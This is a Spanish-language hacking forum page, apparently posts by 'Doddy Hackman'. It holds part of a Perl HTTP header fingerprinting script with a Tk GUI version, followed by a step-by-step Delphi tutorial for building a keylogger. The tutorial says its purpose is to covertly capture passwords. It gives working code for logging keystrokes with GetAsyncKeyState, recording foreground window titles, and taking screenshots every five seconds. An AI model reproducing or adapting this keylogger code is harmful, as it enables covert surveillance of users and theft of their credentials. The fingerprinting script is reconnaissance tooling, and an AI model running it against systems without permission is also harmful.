        print "\n[+] Content-Type : " . $code->header('content-type');

    }

    print "\n----------------------------------------------\n";

}

print "\n[+] Coded By Doddy H\n";

#The End ?


Tambien hice una version grafica :

Una imagen :



El codigo :

Código: perl

#!usr/bin/perl
#HTTP FingerPrinting 0.1
#Version Tk
#Coded By Doddy H

use Tk;
use LWP::UserAgent;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);

my $background_color = "black";
my $foreground_color = "green";

my $ven = MainWindow->new(
    -background => $background_color,
    -foreground => $foreground_color
);
$ven->title("HTTP FingerPrinting 0.1 (C) Doddy Hackman 2013");
$ven->geometry("430x340+20+20");
$ven->resizable( 0, 0 );

$ven->Label(
    -background => $background_color,
    -foreground => $foreground_color,
    -text       => "Target : ",
    -font       => "Impact"
)->place( -x => 20, -y => 20 );
my $target = $ven->Entry(
    -background => $background_color,
    -foreground => $foreground_color,
    -width      => 30,
    -text       => "http://www.petardas.com"
)->place( -x => 80, -y => 25 );
$ven->Button(
    -command          => \&fast,
    -activebackground => $foreground_color,
    -background       => $background_color,
    -foreground       => $foreground_color,
    -text             => "Fast",
    -width            => 10
)->place( -x => 270, -y => 25 );
$ven->Button(
    -command          => \&full,
    -activebackground => $foreground_color,
    -background       => $background_color,
    -foreground       => $foreground_color,
    -text             => "Full",
    -width            => 10
)->place( -x => 345, -y => 25 );
$ven->Label(
    -background => $background_color,
    -foreground => $foreground_color,
    -text       => "OutPut",
    -font       => "Impact"
)->place( -x => 175, -y => 70 );
my $output = $ven->Text(
    -background => $background_color,
    -foreground => $foreground_color,
    -width      => 55,
    -heigh      => 15
)->place( -x => 18, -y => 100 );

MainLoop;

sub fast {

    $output->delete( "0.1", "end" );

    my $code = $nave->get( $target->get );

    $output->insert( "end", "[+] Date : " . $code->header('date') );
    $output->insert( "end", "\n[+] Server : " . $code->header('server') );
    $output->insert( "end",
        "\n[+] Connection : " . $code->header('connection') );
    $output->insert( "end",
        "\n[+] Content-Type : " . $code->header('content-type') );

}

sub full {

    $output->delete( "0.1", "end" );

    my $code = $nave->get( $target->get );

    $output->insert( "end", $code->headers()->as_string() );

}

#The End ?
#260
Delphi / [Delphi] Creacion de un Keylogger
Septiembre 09, 2013, 01:21:19 PM
[Titulo] : Creacion de un Keylogger
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Capturar teclas
0x03 : Capturar ventanas
0x04 : Capturar pantalla
0x05 : Testeando

-- =================--------


0x01 : Introduccion

Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la version 2010 de delphi.

Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras palabras , se usa para capturar contraseñas.

En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi.

0x02 : Capturar teclas

Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez hecho agregamos un memo y tres timers al formulario como en la imagen :



Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo.

Código: delphi

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer; // Declaramos la variable i como entero
  re: Longint; // Declaramos la variable re como longint
  mayus: integer; // Declaramos la variable mayus como entero

begin

  if (GetKeyState(20) = 0) then // Si se presiona mayus
  begin
    mayus := 32; // Le ponemos el valor de 32 a la variable mayus
  end
  else
  begin
    mayus := 0; // Le ponemos el valor de 0 la variable mayus
  end;

  for i := 65 to 90 do // Un for para detectar las teclas de la A hasta la Z
  begin

    re := GetAsyncKeyState(i); // Usamos la variable re para detectar si la tecla fue usada
    If re = -32767 then // Contolamos que la variable re sea igual a -32767
    Begin

      Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo usando chr en la suma de la letra
      // Mas la variabe mayus
    End;
  end;

end;


Una imagen con todo el codigo comentado :



Con esto ya tenemos para capturar las teclas.

0x03 : Capturar ventanas

Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se encuentra al inicio del codigo lo siguiente :

Código: delphi

private Nombre2: string;


Con este declaramos el nombre de la ventana que es nombre2 como privado.

Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo :

Código: delphi

procedure TForm1.Timer2Timer(Sender: TObject);
var
  ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array of char
  nombre1: string; // Declaramos nombre1 como string

  // Add :
  // private
  // Nombre2: string;

begin

  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  // Capturamos el nombre de la
  // ventana

  nombre1 := ventana1; // nombre1 tendra el valor de ventana1

  if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........
  begin
    nombre2 := nombre1; // nombre2 tendra el valor de nombre1
    Memo1.Lines.Add(nombre2); // agregamos al memo el valor de nombre2
  end;
end;


Una imagen con el codigo comentado :



Eso seria la parte de capturar ventanas.

0x04 : Capturar pantalla

Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa llamado "DH ScreenShoter" que hice en este mismo lenguaje.

Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo.

Ahora hacemos doble click en el tercer timer y agregamos este codigo :

Código: delphi

procedure TForm1.Timer3Timer(Sender: TObject);
var
  foto1: TBitmap; // Declaramos foto1 como TBitmap;
  foto2: TJpegImage; // Declaramos foto2 como TJpegImage
  ventana: HDC; // Declaramos aca como HDC

begin

  // Agregar "Jpeg" a "uses"

  ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana actual en aca

  foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap
  foto1.PixelFormat := pf24bit; // Establecemos el pixel format
  foto1.Height := Screen.Height; // Capturamos el tamaño
  foto1.Width := Screen.Width; // Capturamos el tamaño

  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
    SRCCOPY); // Tomamos la foto con los datos antes usados

  foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage
  foto2.Assign(foto1); // Asignamos foto1 en foto2
  foto2.CompressionQuality := 60; // Establecemos la calidad de la imagen

  foto2.SaveToFile(IntToStr(Random(100)) + '.jpg');
  // Guardamos la foto tomada
  // con un valor numerico
  // aleatorio mas el formato
  // '.jpg'

end;


Una imagen con el codigo comentado :



Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para que el timer funcione cada 5 segundos.

Con esto ya terminamos la parte de capturar las imagenes.

Ahora vamos a probar todo.

0x05 : Testeando

Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la configuracion de los timers.

Bien ahora voy a mostrarles una imagen de ejemplo :



Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo"
Tambien cada 5 segundos sacaba una foto como esta :



Eso seria todo.

El manual esta disponible en PDF You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

--========--
  The End ?
--========--